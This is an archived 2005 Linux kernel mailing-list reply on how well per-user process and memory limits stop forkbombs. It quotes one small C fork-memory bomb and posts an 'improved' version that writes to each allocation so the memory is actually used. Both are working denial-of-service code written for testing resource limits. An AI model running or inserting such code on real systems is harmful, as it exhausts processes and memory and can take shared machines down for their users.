Date: Mon, 28 Mar 2005 19:56:15 +0200
To: 20050323135317.GA22959@roonstrasse.net
Cc: linux-kernel@vger.kernel.org
Subject: Re: forkbombing Linux distributions
Message-ID: <20050328175614.GG943@vanheusden.com>
References: <20050328172820.GA31571@linux.ensimag.fr>
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Organization: www.unixexpert.nl
Reply-By: Sat Mar 26 23:38:20 CET 2005
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From: folkert@vanheusden.com
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> > The memory limits aren't good enough either: if you set them low
> > enough that memory-forkbombs are unperilous for
> > RLIMIT_NPROC*RLIMIT_DATA, it's probably too low for serious
> > applications.
> yes, if you want to run application like openoffice.org you need at
> least 200Mo. If you want that your system is usable, you need at least 40 process per user. So 40*200 = 8Go, and it don't think you have all this memory...
> I think per user limit could be a solution.
> attached a small fork-memory bombing.
> Matthieu
> int main()
> {
> 	while(1){
> 		while(fork()){
> 			malloc(1);
> 		}
> 	}
> }

Imporved version:

int main()
{
	while(1) {
		while(fork()) {
			char *dummy = (char *)malloc(1);
			*dummy = 1;
		}
	}
}


Folkert van Heusden

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